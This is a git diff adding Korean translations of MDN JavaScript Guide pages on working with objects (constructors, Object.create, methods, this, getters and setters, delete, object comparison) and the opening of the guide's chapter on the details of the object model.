+</pre>
+
+<p><code>car</code>의 정의에 <code>person</code> 객체의 값을 갖는 <code>owner</code> 속성을 추가하도록 수정할 수 있다:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+}
+</pre>
+
+<p>수정된 새 객체의 인스턴스를 만들려면 다음과 같이 하면 된다:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>위 문장은 문자열 리터럴이나 정수를 넘기는 대신 객체 <code>rand</code> 와 <code>ken</code>을 owners를 위한 인자로 전달하고 있다. car2의 소유자 이름을 찾고 싶다면 다음과 같은 속성을 사용할 수 있다.:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<p>이미 정의 된 객체에도 새로운 속성을 추가할 수 있다.</p>
+
+<pre class="brush: js">car1.color = "black";
+</pre>
+
+<p>위 문장은 속성 <code>color</code>를 car1 에 추가하고, 그 값으로는 "black"을 지정하고 있다. 그러나 이것은 다른 객체들에는 영향을 주지 않는다. 새 속성을 해당 타입의 모든 객체들에 다 추가하고 싶다면, 이 속성을 <code>car</code> 객체 타입의 정의에 추가해야 한다.</p>
+
+<h3 id="Object.create_메서드_사용하기">Object.create 메서드 사용하기</h3>
+
+<p>객체는 <code>Object.create</code> 메서드를 이용해서 생성될 수 있다. 이 메서드는 사용할 프로토타입 객체를 사용자가 직접 선택할 수 있기 때문에 상당히 유용하다. (객체 생성시 생성자 함수가 없어도 가능하다). 이 메서드에 대한 더 자세한 정보는 {{jsxref("Object.create()")}} 를 참고하도록 하자.</p>
+
+<pre class="brush: js">// Animal properties and method encapsulation
+var Animal = {
+ type: "Invertebrates", // Default value of properties
+ displayType : function(){ // Method which will display type of Animal
+ console.log(this.type);
+ }
+}
+
+// Create new animal type called animal1
+var animal1 = Object.create(Animal);
+animal1.displayType(); // Output:Invertebrates
+
+// Create new animal type called Fishes
+var fish = Object.create(Animal);
+fish.type = "Fishes";
+fish.displayType(); // Output:Fishes</pre>
+
+<h2 id="상속">상속</h2>
+
+<p>JavaScript 에서의 모든 객체들은 최소한 하나의 다른 객체로부터 상속을 받는다. 상속을 제공하는 객체를 프로토타입이라고 부르며, 상속되는 속성들은 <code>prototype</code> 이라는 생성자 객체에서 찾을 수 있다.</p>
+
+<h2 id="객체_프로퍼티의_인덱싱">객체 프로퍼티의 인덱싱</h2>
+
+<p>JavaScript 1.0에서는 객체의 속성을 참조할 때 속성 이름을 이용하거나 또는 숫자 인덱스를 이용할 수 있었다. 하지만 JavaScript 1.1과 그 이후 부터는 처음에 프로퍼티를 이름으로 정의하면 항상 이름으로만 참조를 할 수 있고, 처음에 인덱스를 이용하여 정의하면 인덱스를 이용해서만 참조할 수 있다.</p>
+
+<p>이 제약 사항은 생성자 함수를 이용하여 객체와 프로퍼티를 생성할 때 (앞에서 <code>Car</code> 객체 타입의 예)에도 동일하게 적용되고, 개개의 속성을 명시적으로 지정할 때 (예: <code>myCar.color = "red"</code>)에도 마찬가지이다. 만약 처음에 객체 속성을 정의할 때 <code>myCar[5] = "25 mpg"</code> 처럼 인덱스 방식을 사용하면, 그 이후에도 계속 <code>myCar[5]</code> 방식으로만 참조할 수 있다.</p>
+
+<p><code>forms</code> 배열과 같이 HTML 로부터 얻어지는 객체들에는 이 규칙이 적용되지 않는다. 숫자를 이용하거나 (이 객체가 문서 상에 존재하는 순서에 따라) 또는 태그의 attribute 이름으로 참조가 가능하다. 예를 들면 HTML 문서에서 두 번째 <code>&lt;FORM&gt;</code> 태그가 "myForm" 이라는 값의 <code>NAME</code> attribute 를 가지고 있다면, 이 form을 <code>document.forms[1]</code> 또는 <code>document.forms["myForm"]</code> 또는 <code>document.myForm</code> 와 같이 접근할 수 있다.</p>
+
+<h2 id="객체의_프로퍼티_정의">객체의 프로퍼티 정의</h2>
+
+<p><code>prototype</code> 프로퍼티를 사용하여 미리 정의된 객체 타입에 속성을 추가할 수 있다. 이렇게 정의된 속성은 해당 객체 타입의 한 인스턴스에만 적용되는 것이 아니라 해당 객체 타입의 모든 인스턴스가 갖게 된다. 다음 코드에서는 <code>car</code> 타입의 객체 전체에 <code>color</code> 프로퍼티를 추가한 후, <code>car1</code> 인스턴스의 <code>color</code> 프로퍼티에 값을 할당하는 것을 보여준다.</p>
+
+<pre class="brush: js">Car.prototype.color = null;
+car1.color = "black";
+</pre>
+
+<p>더 많은 정보는 <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a>에서 <code>Function</code> 객체의 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype">prototype 속성</a>을 참조</p>
+
+<h2 id="메소드_정의">메소드 정의</h2>
+
+<p><em>메소드</em>는 한 객체와 연관된(associated) 함수이며, 간단하게 말해 객체의 프로퍼티 중에서 함수인 것을 메소드라고 한다. 메소드를 정의하는 방식은 일반 함수를 정의하는 것과 동일하고, 다만 어떤 객체의 프로퍼티로 할당되어야 한다는 점이 차이가 난다. 자세한 것은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>를 참조하자. 다음은 메소드 정의의 한 예이다.</p>
+
+<pre class="brush: js">objectName.methodname = function_name;
+
+var myObj = {
+ myMethod: function(params) {
+ // ...do something
+ }
+};
+</pre>
+
+<p>첫번째 줄은 이미 존재하는 <code>objectName</code>이라는 객체에 <code>methodname</code>이라는 이름의 메소드를 추가하는 것이다. <code>function_name</code> 은 메소드로 사용될 함수의 이름이다. 두번째 줄부터는 객체를 정의할 때 메소드를 같이 정의하는 예이다.</p>
+
+<p>그러고 나면 다음과 같이 해당 객체의 문맥(context)에서 메소드를 호출할 수 있다.</p>
+
+<pre class="brush: js">object.methodname(params);
+</pre>
+
+<p>객체 생성자 함수에 메소드 정의를 포함시킴으로써 해당 객체 타입의 메소드를 정의할 수 있다. 한 예로 이전에 정의한 car 객체의 프로퍼티를 형식에 맞춰 출력하는 함수를 정의할 수 있는데, 다음과 같다.</p>
+
+<pre class="brush: js">function displayCar() {
+ var result = "A Beautiful " + this.year + " " + this.make
+ + " " + this.model;
+ pretty_print(result);
+}
+</pre>
+
+<p>위에서 <code>pretty_print</code>는 수평 규칙과 문자열을 나타내 주는 함수이다. 여기서 사용한 <code>this</code>는 해당 메소드가 속한 객체를 가리킨다는 점을 기억하자.</p>
+
+<p>아래와 같은 코드를 <code>car</code>객체의 정의에 추가함으로써 해당 함수를 <code>car</code>객체의 메소드로 만들 수 있다.</p>
+
+<pre class="brush: js">this.displayCar = displayCar;
+</pre>
+
+<p>따라서 <code>car객체의 전체 정의는 아래와 같이 됩니다.</code></p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+ this.displayCar = displayCar;
+}
+</pre>
+
+<p>그리고 각각의 객체(인스턴스)를 가지고 <code>displayCar메서드를 아래와 같이 호출 할 수 있습니다:</code></p>
+
+<pre class="brush: js">car1.displayCar();
+car2.displayCar();
+</pre>
+
+<h2 id="객체_참조를_위해_this_를_사용하기">객체 참조를 위해 <code>this</code> 를 사용하기</h2>
+
+<p>자바스크립트는 특별한 키워드를 가지고 잇습니다. 바로 <code>this</code>라는 키워드이다. 메서드 내부에서 <code>this 키워드를 사용하게 되면 해당 메서드를 포함한 객체를 가리키게 된다. 예를 들어 특정 객체의 속성값의 상한과 하한 값의 범위에 있는지를 확인하는 validate라는 함수를 아래와 같이 작성한다고 했을 때, </code></p>
+
+<pre class="brush: js">function validate(obj, lowval, hival) {
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ alert("Invalid Value!");
+}
+</pre>
+
+<p><code>validate메서드를 각각의 form 요소들의 onchange 이벤트 핸들러에서 호출할 수 있다. 그 때, 다음 예제처럼 this 키워드를 사용해서 해당 form요소를 인자로 넘길 수 있다. </code></p>
+
+<pre class="brush: html">&lt;input type="text" name="age" size="3"
+ onChange="validate(this, 18, 99)"&gt;
+</pre>
+
+<p>일반적으로 <code>this는 메서드를 호출하는 객체를 지칭합니다. </code></p>
+
+<p> <code>myForm</code>. <code>form속성과 함께 사용할때, this키워드는 현재 객체의 부모 form을 지칭한다. 다음의 예제에서, myForm form은 텍스트 객체와 버튼 객체를 가지고 있다. 사용자가 해당 버튼을 클릭했을때, myForm form안에 있는 텍스트 객체의 값을 myForm form의 이름으로 설정한다. 해당 버튼의 onclick 이벤트 처리자는 부모 form인 myForm을 지칭하기 위해 this.form를 사용한다. </code></p>
+
+<pre class="brush: html">&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+ onclick="this.form.text1.value = this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h2 id="getters_와_setters_정의">getters 와 setters 정의</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> 메서드는 특정 속성의 값을 받아 오기 위한 메서드 입니다. <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>메서드는 특정 속성의 값을 설정하기 위한 메서드 입니다. 새로운 속성을 추가 하기 위해 getter와 setter 메서드들을 미리 정의된 객체 혹은 사용자 정의 객체에 정의 하 수 있습니다.  getter와 setter메서드들을 정의 하기 위한 문법은 객체 구문 문법을 사용합니다.</p>
+
+<p>자바스크립트 1.8.1버전부터, 객체와 배열 초기화에서 속성들을 설정하고자 할 경우 setter메서드들은 더이상 사용이 불가합니다.</p>
+
+<p>다음의 <a href="/en-US/docs/SpiderMonkey/Introduction_to_the_JavaScript_shell" title="en-US/docs/SpiderMonkey/Introduction to the JavaScript shell">JS 쉘</a>은 getter와 setter메서드들이 사용자 정의객체인 o에서 어떻게 작동하는지를 보여 줍니다. JS쉘은 개발자가 배치 모드 혹은 대화형 모드에서 자바스크립트 코드를 테스트하기위한 하나의 어플리케이션입니다. </p>
+
+<pre class="brush: js">js&gt; var o = {a: 7, get b() {return this.a + 1;}, set c(x) {this.a = x / 2}};
+[object Object]
+js&gt; o.a;
+7
+js&gt; o.b;
+8
+js&gt; o.c = 50;
+js&gt; o.a;
+25
+</pre>
+
+<p>o 객체의 속성이 다음과 같을 때,</p>
+
+<ul>
+ <li><code>o.a</code> — 숫자</li>
+ <li><code>o.b</code> — o.a에 1을 더한 값을 반환하는 getter 메서드</li>
+ <li><code>o.c</code> — <code>o.a에 주어진 인자 값의 반에 해당 하는 값을 설정하는 setter 메서드</code></li>
+</ul>
+
+<p><code>[gs]et <em>속성명</em>()</code>  문법이 실제 사용되는 메서드명이라고 생각이 될지라도, "[gs]et <em>속성명</em>()" 문법(<code>__define[GS]etter__와는 반대로</code>)을 사용한 객체 구문 문법으로 정의된 getter와 setter메서드들의 이름들은 실제 getter 메서드들의 이름이 아니라는 점에 유의 하세요.  "[gs]et <em>속성명</em>()" 문법을 사용하여 getter, setter메서드내의 함수명을 작성하기 위해서는, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineProperty">Object.defineProperty</a></code> (혹은 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineGetter">Object.prototype.__defineGetter__</a> 레거시 콜백</code>)을 사용하여 프로그램적으로 분명한 이름의 함수명을 사용하세요. </p>
+
+<p>아래의 자바스크립트 쉡은 이미 정의된 Date 클래스의 모든 인스턴스들에 년도 속성을 추가 하기 위해 getter와 setter 메서드들이 Date 프로토타입을 확장하는 방법을 보여 줍니다. </p>
+
+<p>아래의 구문들은 년도 속성 추가를 위한 getter와 setter메서드를 정의합니다:</p>
+
+<pre class="brush: js">js&gt; var d = Date.prototype;
+js&gt; Object.defineProperty(d, "year", {
+    get: function() {return this.getFullYear() },
+    set: function(y) { this.setFullYear(y) }
+});
+</pre>
+
+<p>아래의 구문들은 Date객체에서 getter와 setter메서드를 사용하는 법을 보여 줍니다:</p>
+
+<pre class="brush: js">js&gt; var now = new Date;
+js&gt; print(now.year);
+2000
+js&gt; now.year = 2001;
+987617605170
+js&gt; print(now);
+Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+
+</pre>
+
+<p>원칙적으로, getter와 setter는 둘 중 하나가 될 수 있다.</p>
+
+<ul>
+ <li>object initializers 를 사용하여 정의하거나, </li>
+ <li>getter와 setter메서드 추가 방법을 사용하여 언제든지 특정 객체에 나중에 추가하는 방법</li>
+</ul>
+
+<p>object initializers를 사용해서 getter와 setter메서드들을 정의할 경우, getter메서드는 get, setter메서드는 set이라는 접두사만 추가하면 됩니다. 물론 getter메서드는 인자를 받지 않는 반면, setter 메서드는 정확히 하나의 인자(설정할 새로운 값)만을 받습니다. </p>
+
+<pre class="brush: js">var o = {
+ a: 7,
+ get b() { return this.a + 1; },
+ set c(x) { this.a = x / 2; }
+};
+</pre>
+
+<p><code>Object.defineProperties 메서드를 사용하면 객체 생성이후라도 언제든지 </code>getter and setter메서드들을 객체에 추가할 수 있습니다. <code>Object.defineProperties 메서드의 첫번째 인자는 </code>getter and setter메서드들을 추가할 객체이고, 두번째 인자는 getter and setter메서드들의 이름과 getter and setter메서드들의 정의를 가지고 있는 객체가 되어야 합니다. 이전 예제와 동일하게 사용된 getter and setter메서드들을 정의하고 있는 예제는 아래와 같습니다:</p>
+
+<pre class="brush: js">var o = { a:0 }
+
+Object.defineProperties(o, {
+    "b": { get: function () { return this.a + 1; } },
+    "c": { set: function (x) { this.a = x / 2; } }
+});
+
+o.c = 10 // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.b) // Runs the getter, which yields a + 1 or 6
+</pre>
+
+<p>당신의 프로그래밍 스타일과 현재 진행 중인 작업에 따라 getter and setter메서드들을 정의할 수 있는 두가지 양식 중 하나를 선택하여 사용할 수 있습니다. prototype을 정의 할때 object initializer를 사용했다면 앞으로도 대부분 첫번째 양식을 선택 하여 작성을 할 것입니다. 이 양식이 보다 간결하고 자연스럽기 때문입니다. 하지만 prototype 혹은 특정 객체를 작성하지 않고서 나중에 getter and setter 메서드를 추가하고자 한다면 두번째 양식만이 가능한 선택입니다.  두번째 양식은 아마도 자바스크립트의 동적 속성을 가장 잘 나타내고 있습니다. 하지만 코드 작성과 읽고 이해하는 부분에 어려움이 있습니다. </p>
+
+<div class="note">
+<p>Firefox 3.0 이전 버전의 경우, getter and setter 메서드들은 DOM 요소들에는 지원되지 않습니다. 이전 버전의 Firefox에서는 아무런 에러 없이 작동하지 않을 것입니다. 이것에 대한 예외가 필요하다면, HTMLElement의 prototype<code>(HTMLElement.prototype.__define[SG]etter__)</code>을 변경하고 예외를 던지는 것이 하나의 방법입니다.</p>
+
+<p>Firefox 3.0 버전에서는 이미 정의된 속서에 대해 getter or setter를 정의 할 경우 예외가 발생됩니다. 이전 버전의 Firefox에서는 아니지만 해당 속성을 반드시 사전에 제거해야만 합니다. </p>
+</div>
+
+<h4 id="Defining_getters_and_setters_See_also" name="Defining_getters_and_setters_See_also">추가로 볼 것들 </h4>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/JavaScript/Reference/Global_Objects/Object/defineSetter">Object.defineProperty</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Operators/get" title="en-US/docs/JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Operators/set" title="en-US/docs/JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code></li>
+</ul>
+
+<h2 id="프로퍼티의_삭제">프로퍼티의 삭제</h2>
+
+<p>상속 받지 않은 속성은 <code>delete</code> 연산자를 이용하여 제거 할 수 있다. 다음 코드는 어떻게 속성을 제거하는지 보여준다.</p>
+
+<pre class="brush: js">// 새 객체 myobj를 두 개의 속성 a, b 와 함께 생성
+var myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+// 속성을 삭제. myobj 에는 속성 b 만 남게 됨.
+delete myobj.a;
+console.log ("a" in myobj) // "false"를 출력
+</pre>
+
+<p><code>var</code> 키워드로 선언하지 않은 전역 변수도 <code>delete</code>를 이용하여 삭제를 할 수 있다:</p>
+
+<pre class="brush: js">g = 17;
+delete g;
+</pre>
+
+<p>더 자세한 정보는 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>를 보면 된다.</p>
+
+<h2 id="객체_간의_비교">객체 간의 비교</h2>
+
+<p>JavaScript 에서는 객체들은 레퍼런스 타입이다. 두 개의 별개 객체들은, 설령 그 속성 값들이 모두 다 동일하다고 하더라도, 절대로 동일하다고 비교(equal)될 수 없다. In JavaScript objects are a reference type. Two distinct objects are never equal, even if they have the same properties. Only comparing the same object reference with itself yields true.</p>
+
+<pre class="brush: js">// 속성은 같지만 서로 별개인 두 변수와 두 객체
+var fruit = {name: "apple"};
+var fruitbear = {name: "apple"};
+
+fruit == fruitbear // false 리턴
+fruit === fruitbear // false 리턴</pre>
+
+<pre class="brush: js">// 두 개의 변수이지만 하나의 객체
+var fruit = {name: "apple"};
+var fruitbear = fruit; // fruit 객체 레퍼런스를 fruitbear 에 할당
+
+// here fruit and fruitbear are pointing to same object
+fruit == fruitbear // true 리턴
+fruit === fruitbear // true 리턴
+</pre>
+
+<p>비교 연산자에 대한 상세한 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a>를 참고하기 바란다.</p>
+
+<h2 id="추가_검토">추가 검토</h2>
+
+<ul>
+ <li><a class="external" href="http://es5.github.com/#x4.2" title="http://es5.github.com/#x4.2">ECMAScript 5.1 spec: Language Overview</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/javascript-the-core" title="http://dmitrysoshnikov.com/ecmascript/javascript-the-core">JavaScript. The core. (Dmitry A. Soshnikov ECMA-262 article series)</a></li>
+</ul>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div>
diff --git a/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html b/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html
new file mode 100644
index 0000000000..230d5cb9e1
--- /dev/null
+++ b/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html
@@ -0,0 +1,714 @@
+---
+title: 객체 모델의 세부 사항
+slug: Web/JavaScript/Guide/객체_모델의_세부사항
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">자바스크립트는 클래스 기반이 아닌 prototype에 기초한 객체 기반 언어 입니다. 이런 차이점으로 인해, 객체들의 계층 구조의 생성과 속성 및 속성 값의 상속을 어떻게 구현해야 하는지에 대한 부분이 덜 분명할 수 있습니다. 이번 장에서는 이런 상황을 명확하게 하고자 합니다. </p>
+
+<p>이번 장에선 이미 자바스크립트를 어느 정도 알고 있고, 간단한 객체를 생성하는 함수들을 사용해보았다는 가정하에 진행합니다.</p>
+
+<h2 id="클래스_기반_언어_대_프로토타입_기반_언어">클래스 기반 언어 대 프로토타입 기반 언어</h2>
+
+<p>Java와 C++같은 클래스 기반의 언어들은 두개의 구별되는 개념에 기반을 두고 있습니다: 그건 바로 클래스와 인스턴스입니다.</p>
+
+<ul>
+ <li>클래스는  특정 객체군을 특징 짓는 모든 속성들(Java에서는 메서드들과 필드들을 , C++에서는  멤버들을 속성으로 간주합니다. )을 정의합니다.클래스는 해당 객체군을 표현할 수 있는 특정 멤버를 지칭하는 것이 아닌 그보다 더 추상적인 것입니다. 예를 들어, <code>직원</code>클래스는 직원들을 대표할 수 있습니다.</li>
+ <li>반면 인스턴스는 클래스를 기반으로 실체화된 것입니다. 예를 들어, <code>빅토리아</code>는 특정 직원 개인을 나타내는 <code>직원</code>클래스의 인스턴스가 될 수 있습니다. 인스턴스는 부모 클래스의 속성과 동일한 속성들을 가집니다.</li>
+</ul>
+
+<p>자바스크립트같은 프로토타입기반의 언어들은 위와 같은 클래스와 인스턴스의 차이를 두지 않습니다. 간단하게 객체들을 가질 뿐입니다. prototype기반의 언어는 원형(프로토타입)의 객체 개념을 가지고 있습니다. 하나의 객체는 새로운 객체를 생성했을 때 초기 속성을 가질 수 있도록 하는 형판(template)으로 사용됩니다. 객체는 생성될 때 혹은 실행 시에 자기 자신의 속성을 명시할 수 있습니다. 추가적으로, 객체들은 또 다른 객체를 생성하기 위한 프로토타입으로 연관지어 질 수 있으며 프로토타입으로부터 생성된 두번째 객체가 프로토타입인 첫번째 객체의 속성을 공유(혹은 접근)하는 것을 허용합니다. </p>
+
+<h3 id="클래스_정의">클래스 정의</h3>
+
+<p>클래스 기반의 언어들에서, 별도의 클래스를 생성하고 그 안에서 해당 클래스를 정의 할 수 있습니다. 해당 정의에서 클래스의 인스턴스를 생성할 수 있는 생성자라고하는 특별한 메서드를 명시할 수 있습니다. 생성자는 해당 인스턴스의 초기 속성 값을 지정할 수 있고, 생성 시점에, 다른 적절한 처리를 수행 할 수 있습니다. 클래스의 인스턴스를 생성하기 위해서 new 연산자와 함께 생성자를 호출해야 합니다. </p>
+
+<p>자바스크립트는 위와 비슷한 방법을 취합니다. 하지만 생성자이외에 따로 클래스 정의를 가지고 있지는 않습니다. 대신, 특정 속성및 속성값들을 가지고 객체를 생성하는 생성자 함수를 정의할 수 있습니다. 특정 자바스크립트 함수는 생성자로 사용 될 수 있습니다. 새로운 객체를 생성할려면 new연산자와 함께 생성자 함수를 사용해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p>ECMAScript 2015에 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">클래스 선언</a>이 새롭게 소개되었습니다.</p>
+
+<blockquote>
+<p>ECMAScript 2015에서 소개된 자바스크립트 클래스는 주로 문법적 설탕으로 기존 자바스크립트 프로토타입 기반 상속에  읽기 좋은 형식으로 바뀌었습니다. 이 클래스 문법이 자바스크립트에 새로운 객체 중심 상속 모델을 소개한 것은 아닙니다.</p>
+</blockquote>
+</div>
+
+<h3 id="하위_클래스와_상속">하위 클래스와 상속</h3>
+
+<p>클래스 기반 언어에서는 클래스 정의를 통해 클래스 계층구조를 생성합니다. 클래스를 정의할 때 이미 존재하는 클래스의 하위 클래스를 새로운 클래스로 지정할 수 있습니다. 이 하위 클래스는 부모 클래스의 모든 속성을 상속받으며 추가로 새로운 속성을 추가하거나 상속받은 속성을 수정할 수 있습니다. 예를 들어  이름(<code>name</code>)과 부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>)을 가진 직원(<code>Employee</code>) 클래스와 그 하위 클래스에 보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>) 속성을 추가한 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 클래스가 있다고 해봅시다. 이 경우 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>)의 인스턴스는 다음과 같이 세가지 속성을 모두 가질 수 있습니다 - 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>),  보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>).</p>
+
+<p>자바스크립트는 생성자 함수와 프로토타입 객체를 연결해 상속을 구현합니다. 이런 식으로 직원(<code>Employee</code>) — 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 예제를 똑같이 구현할 수 있지만 조금 다른 * 사용합니다. 먼저, 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>) 속성을 명시하여 직원(<code>Employee</code>) 생성자 함수를 정의합니다. 그런 다음, 직원(<code>Employee</code>)의 생성자를 호출한 후 보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>) 속성을 명시해 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 생성자 함수를 정의합니다. 마지막으로 <code>Employee.prototype</code> 에서 파생된 새로운 객체를  관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 생성자 함수의 프로토타입으로 지정합니다. 그런 다음 새로운 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>)를 만들면 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 객체를 직원(<code>Employee</code>) 객체로부터 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>) 속성을 상속받습니다. </p>
+
+<h3 id="속성의_추가_삭제">속성의 추가 삭제</h3>
+
+<p>클래스 기반의 언어들에서는, 일반적으로 컴파일 시점에 클래스를 생성한 후에 컴파일 시점 혹은 실행 시에 해당 클래스의 인스턴스를 생성합니다. 클래스가 한번 정의된 후에 클래스를 다시 컴파일 하지 않는다면, 속성의 갯수나 형식을 변경할 수 없습니다. 하지만 자바스크립트에서느 실행 시에 객체의 속성을 추가 혹은 삭제 할 수 있습니다.  만약 객체군의 프로토타입으로 사용되는 객체에 속성을 추가하면, 프로토타입이 되는 객체들에도 새로운 속성이 추가가 됩니다.</p>
+
+<h3 id="차이점들에_대한_정리">차이점들에 대한 정리</h3>
+
+<p>다음 표는 이런 차이점들에 대한 간략한 요약을 포함하고 있습니다. 이번 장의 다음 내용들은 객체의 계층 구조를 생성하기 위한 자바스크립트 생성자와 프로토타입들의 사용에 대한 세부 사항에 대해 기술합니다. 그리고 동일한 작업을 자바에서 어떻게 처리해야 하는지도 비교해서 살펴보겠습니다.</p>
+
+<table class="standard-table">
+ <caption>클래스 기반(자바)과 프로토타입(prototype)기반(자바스크립트) 객체 시스템의 비교</caption>
+ <thead>
+ <tr>
+ <th scope="col">클래스 기반(자바)</th>
+ <th scope="col">원형 기반(자바스크립트)</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>클래스와 인스턴스는 별개입니다.</td>
+ <td>모든 객체는 다른 객체로부터 상속을 받습니다.</td>
+ </tr>
+ <tr>
+ <td>클래스 정의를 가지고 클래스를 생성하고 생성자 메서드로 인스턴스를 생성합니다.</td>
+ <td>생성자 함수를 가지고 객체군을 정의 및 생성합니다.</td>
+ </tr>
+ <tr>
+ <td>new 연산자로 하나의 객체(인스턴스)를 생성합니다.</td>
+ <td>동일합니다.</td>
+ </tr>
+ <tr>
+ <td>이미 존재하는 클래스에 대한 하위 클래스를 정의함으로써 객체의 계층구조를 생성합니다.</td>
+ <td>하나의 객체를 생성자 함수와 결합된 프로토타입에 할당함으로써 객체의 계층구조를 생성 합니다.</td>
+ </tr>
+ <tr>
+ <td>클래스의 상속 구조에 따라 속성을 상속 받습니다.</td>
+ <td>프로토타입 체인에 따라  속성을 상속 받습니다.</td>
+ </tr>
+ <tr>
+ <td>클래스 정의는 모든 인스턴스의 모든 속성을 명시합니다. 실행시에 동적으로 속성을 추가할 수 없습니다.</td>
+ <td>생성자 함수 혹은 프로토타입은 초기 속성들을 명시합니다. 개별 객체 혹은 전체 객체군에 동적으로 속성을 추가 삭제할 수 있습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="직원_예제">직원 예제</h2>
+
+<p>이장의 나머지 부분에서는 다음과 같은 직원 객체의 계층구조를 사용합니다. </p>
+
+<div class="twocolumns">
+<p>직원 객체의 계층 구조.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p>
+
+<ul>
+ <li>직원(<code>Employee</code>) 객체는 빈 문자열을 기본값으로 가지는 이름(<code>name</code>) 그리고 "일반(general)"을 기본 값으로 가지는 부서(<code>dept</code>)를 속성으로 가집니다.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">관리자(</font><code>Manager</code>)객체는 직원(<code>Employee</code>) 객체를 근간으로 하며, 직원 객체들을 포함하기 위한 빈 배열을 기본 값으로 하는 보고(<code>reports</code>)속성을 가지고 있습니다.</li>
+ <li>근로자(<code>WorkerBee</code>)객체 또한 직원(<code>Employee</code>) 객체를 근간으로 하며, 문자열들을 포함하기 위한 빈 배열을 기본 값으로 하는 프로젝트(<code>projects</code>)속성을 가집니다.</li>
+ <li>영업사원(<code>SalesPerson</code>)객체는 또한 근로자(<code>WorkerBee</code>) 객체를 근간으로 하며, 100을 기본값으로 하는 할당량(<code>quota</code>)를 속성으로 가집니다. 또한 같은 부서내의 모든 영업사원을 지칭하기 위한 부서 속성을 "판매부서"로 재정의 합니다. </li>
